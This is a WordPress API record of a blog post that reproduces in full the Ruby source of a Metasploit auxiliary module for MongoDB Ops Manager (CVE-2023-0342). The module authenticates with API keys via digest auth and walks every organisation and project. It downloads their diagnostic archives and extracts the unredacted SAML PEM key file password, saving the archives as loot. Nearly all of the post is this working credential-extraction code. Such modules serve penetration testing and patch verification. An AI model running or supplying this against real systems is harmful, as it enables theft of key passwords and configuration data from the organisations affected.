{"id":59298,"date":"2024-08-31T23:40:40","date_gmt":"2024-08-31T20:40:40","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180702\/mongodb_ops_manager_diagnostic_archive_info.rb.txt"},"modified":"2024-08-31T23:40:40","modified_gmt":"2024-08-31T20:40:40","slug":"mongodb-ops-manager-diagnostic-archive-sensitive-information-retriever","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/mongodb-ops-manager-diagnostic-archive-sensitive-information-retriever\/","title":{"rendered":"MongoDB Ops Manager Diagnostic Archive Sensitive Information Retriever"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>require &#8216;digest\/md5&#8217;<br \/>require &#8216;zlib&#8217;<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Report<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;MongoDB Ops Manager Diagnostic Archive Sensitive Information Retriever&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>MongoDB Ops Manager Diagnostics Archive does not redact SAML SSL Pem Key File Password<br \/>field (mms.saml.ssl.PEMKeyFilePassword) within app settings. Archives do not include<br \/>the PEM files themselves. This module extracts that unredacted password and stores<br \/>the diagnostic archive for additional manual review.<\/p>\n<p>This issue affects MongoDB Ops Manager v5.0 prior to 5.0.21 and<br \/>MongoDB Ops Manager v6.0 prior to 6.0.12.<\/p>\n<p>API credentials with the role of GLOBAL_MONITORING_ADMIN or GLOBAL_OWNER are required.<\/p>\n<p>Successfully tested against MongoDB Ops Manager v6.0.11.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;h00die&#8217;, # msf module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/advisories\/GHSA-xqvf-v5jg-pxc2&#8217;],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/www.mongodb.com\/docs\/ops-manager\/current\/reference\/configuration\/#mongodb-setting-mms.https.PEMKeyFilePassword&#8217;],<br \/>[ &#8216;CVE&#8217;, &#8216;2023-0342&#8217;]],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[ &#8216;Automatic Target&#8217;, {}]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2023-06-09&#8217;,<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [],<br \/>&#8216;Reliability&#8217; =&gt; [],<br \/>&#8216;SideEffects&#8217; =&gt; []}<br \/>)<br \/>)<br \/>register_options(<br \/>[<br \/>Opt::RPORT(8080),<br \/>OptString.new(&#8216;API_PUBKEY&#8217;, [ true, &#8216;Public Key to login with for API requests&#8217;, &#8221;]),<br \/>OptString.new(&#8216;API_PRIVKEY&#8217;, [ true, &#8216;Password to login with for API requests&#8217;, &#8221;]),<br \/>OptString.new(&#8216;TARGETURI&#8217;, [ true, &#8216;The URI of MongoDB Ops Manager&#8217;, &#8216;\/&#8217;])<br \/>])<br \/>end<\/p>\n<p>def check<br \/>url = normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;public&#8217;, &#8216;v1.0&#8217;)<br \/>auth_response = digest_auth(url)<br \/># https:\/\/www.mongodb.com\/docs\/ops-manager\/current\/tutorial\/update-om-with-latest-version-manifest-with-api\/<br \/>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; url,<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;accept&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;authorization&#8217; =&gt; auth_response<br \/>}<br \/>)<\/p>\n<p>return Exploit::CheckCode::Unknown(&#8220;#{peer} &#8211; Could not connect to web service &#8211; no response&#8221;) if res.nil?<br \/>return Exploit::CheckCode::Unknown(&#8220;#{peer} &#8211; Check URI Path, unexpected HTTP response code: #{res.code}&#8221;) unless res.code == 200<\/p>\n<p>roles = res.get_json_document.dig(&#8216;apiKey&#8217;, &#8216;roles&#8217;)<br \/>return Exploit::CheckCode::Unknown(&#8220;#{peer} &#8211; Unable to retrieve roles&#8221;) if roles.nil?<\/p>\n<p>roles = roles.map { |hash| hash[&#8216;roleName&#8217;] }<br \/>return Exploit::CheckCode::Safe(&#8220;API key requires GLOBAL_MONITORING_ADMIN or GLOBAL_OWNER permissions. Current permissions: #{permission.join(&#8216;, &#8216;)}&#8221;) unless roles.include?(&#8216;GLOBAL_MONITORING_ADMIN&#8217;) || roles.include?(&#8216;GLOBAL_OWNER&#8217;)<\/p>\n<p>Exploit::CheckCode::Detected(&#8216;API key has correct roles but version detection not possible&#8217;)<br \/>end<\/p>\n<p>def username<br \/>datastore[&#8216;API_PUBKEY&#8217;]end<\/p>\n<p>def password<br \/>datastore[&#8216;API_PRIVKEY&#8217;]end<\/p>\n<p>def digest_auth(url)<br \/># get a 401 so we get the WWW-Authenticate header<br \/>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; url,<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;accept&#8217; =&gt; &#8216;application\/json&#8217;<br \/>}<br \/>)<br \/>fail_with(Failure::Unreachable, &#8220;#{peer} &#8211; Could not connect to web service &#8211; no response&#8221;) if res.nil?<br \/>fail_with(Failure::UnexpectedReply, &#8220;#{peer} &#8211; Basic auth not enabled, but is expected&#8221;) unless res.code == 401<\/p>\n<p># Define the regular expression pattern to capture key-value pairs<br \/>pattern = \/(\\w+)=&#8221;(.*?)&#8221;\/<\/p>\n<p>parsed_hash = {}<br \/>res.headers[&#8216;WWW-Authenticate&#8217;].scan(pattern) do |key, value|<br \/>parsed_hash[key] = value<br \/>end<\/p>\n<p>parsed_hash[&#8216;nc&#8217;] = &#8216;00000001&#8217;<br \/>parsed_hash[&#8216;cnonce&#8217;] = &#8216;0a4f113b&#8217; # XXX randomize?<\/p>\n<p># Calculate the response<br \/>ha1 = Digest::MD5.hexdigest(&#8220;#{username}:#{parsed_hash[&#8216;realm&#8217;]}:#{password}&#8221;)<br \/>ha2 = Digest::MD5.hexdigest(&#8220;GET:#{url}&#8221;)<br \/>parsed_hash[&#8216;response&#8217;] = Digest::MD5.hexdigest(&#8220;#{ha1}:#{parsed_hash[&#8216;nonce&#8217;]}:#{parsed_hash[&#8216;nc&#8217;]}:#{parsed_hash[&#8216;cnonce&#8217;]}:#{parsed_hash[&#8216;qop&#8217;]}:#{ha2}&#8221;)<\/p>\n<p>%(Digest username=&#8221;#{username}&#8221;, realm=&#8221;#{parsed_hash[&#8216;realm&#8217;]}&#8221;, nonce=&#8221;#{parsed_hash[&#8216;nonce&#8217;]}&#8221;, uri=&#8221;#{url}&#8221;, cnonce=&#8221;#{parsed_hash[&#8216;cnonce&#8217;]}&#8221;, nc=#{parsed_hash[&#8216;nc&#8217;]}, qop=auth, response=&#8221;#{parsed_hash[&#8216;response&#8217;]}&#8221;, algorithm=MD5)<br \/>end<\/p>\n<p>def get_orgs<br \/>url = normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;public&#8217;, &#8216;v1.0&#8217;, &#8216;orgs&#8217;)<br \/>auth_response = digest_auth(url)<br \/># https:\/\/www.mongodb.com\/docs\/ops-manager\/v6.0\/reference\/api\/organizations\/organization-get-all\/<br \/>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; url,<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;accept&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;authorization&#8217; =&gt; auth_response<br \/>}<br \/>)<br \/>fail_with(Failure::Unreachable, &#8220;#{peer} &#8211; Could not connect to web service &#8211; no response&#8221;) if res.nil?<br \/>fail_with(Failure::UnexpectedReply, &#8220;#{peer} &#8211; Invalid credentials or not enough permissions (response code: #{res.code})&#8221;) if res.code == 401<br \/>res.get_json_document<br \/>end<\/p>\n<p>def get_projects(org)<br \/>url = normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;public&#8217;, &#8216;v1.0&#8217;, &#8216;orgs&#8217;, org, &#8216;groups&#8217;)<br \/>auth_response = digest_auth(url)<br \/># https:\/\/www.mongodb.com\/docs\/ops-manager\/current\/reference\/api\/organizations\/organization-get-all-projects\/<br \/>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; url,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;accept&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;authorization&#8217; =&gt; auth_response<br \/>}<br \/>)<br \/>return [] if res.nil? || res.code == 401<\/p>\n<p>res.get_json_document[&#8216;results&#8217;]end<\/p>\n<p>def get_diagnostic_archive(project)<br \/>url = normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;public&#8217;, &#8216;v1.0&#8217;, &#8216;groups&#8217;, project, &#8216;diagnostics&#8217;)<br \/>auth_response = digest_auth(url)<br \/># https:\/\/www.mongodb.com\/docs\/ops-manager\/current\/reference\/api\/diagnostics\/get-project-diagnostic-archive\/<br \/>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; url,<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/json&#8217;,<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;accept&#8217; =&gt; &#8216;application\/gzip&#8217;,<br \/>&#8216;authorization&#8217; =&gt; auth_response<br \/>},<br \/>&#8216;vars_get&#8217; =&gt; { &#8216;pretty&#8217; =&gt; &#8216;true&#8217; }<br \/>)<br \/>return unless res&amp;.code == 200<\/p>\n<p>loot_location = store_loot(&#8216;mongodb.ops_manager.project_diagnostics&#8217;, &#8216;application\/gzip&#8217;, rhost, res.body, &#8220;project_diagnostics.#{project}.tar.gz&#8221;, &#8220;Project diagnostics for MongoDB Project #{project}&#8221;)<br \/>print_good(&#8220;Stored Project Diagnostics files to #{loot_location}&#8221;)<br \/>vprint_status(&#8216; Opening project_diagnostics.tar.gz&#8217;)<br \/>gz_reader = Zlib::GzipReader.new(StringIO.new(res.body))<br \/>tar_reader = Rex::Tar::Reader.new(gz_reader)<br \/>tar_reader.each do |entry|<br \/>next unless entry.full_name == &#8216;global\/appSettings.json&#8217;<\/p>\n<p>json_data = JSON.parse(entry.read)<br \/>next unless json_data.key? &#8216;instanceOverrides&#8217;<\/p>\n<p>json_data[&#8216;instanceOverrides&#8217;].each do |key, value|<br \/>next unless value.key? &#8216;mms.saml.ssl.PEMKeyFilePassword&#8217;<\/p>\n<p>if value[&#8216;mms.saml.ssl.PEMKeyFilePassword&#8217;] == &#8216;&lt;redacted&gt;&#8217;<br \/>fail_with(Failure::NotVulnerable, &#8216;Value is &lt;redacted&gt;, server is patched.&#8217;)<br \/>else<br \/>print_good(&#8220;Found #{key}&#8217;s unredacted mms.saml.ssl.PEMKeyFilePassword: #{value[&#8216;mms.saml.ssl.PEMKeyFilePassword&#8217;]}&#8221;)<br \/>end<br \/>end<br \/>end<br \/>tar_reader.close<br \/>gz_reader.close<br \/>end<\/p>\n<p>def run<br \/>vprint_status(&#8216;Checking for orgs&#8217;)<br \/>orgs = get_orgs<br \/>orgs[&#8216;results&#8217;].each do |org|<br \/>org = org[&#8216;id&#8217;]vprint_status(&#8220;Looking for projects in org #{org}&#8221;)<br \/>projects = get_projects(org)<br \/>projects.each do |project|<br \/>vprint_good(&#8221; Found project: #{project[&#8216;name&#8217;]} (#{project[&#8216;id&#8217;]})&#8221;)<br \/>get_diagnostic_archive(project[&#8216;id&#8217;])<br \/>end<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## require &#8216;digest\/md5&#8217;require &#8216;zlib&#8217; class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Report def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;MongoDB Ops Manager Diagnostic Archive Sensitive Information Retriever&#8217;,&#8216;Description&#8217; =&gt; %q{MongoDB Ops Manager Diagnostics Archive does not redact SAML SSL Pem Key File Passwordfield (mms.saml.ssl.PEMKeyFilePassword) within app settings. Archives do not includethe PEM &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59298","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59298","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59298"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59298\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59298"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59298"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59298"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}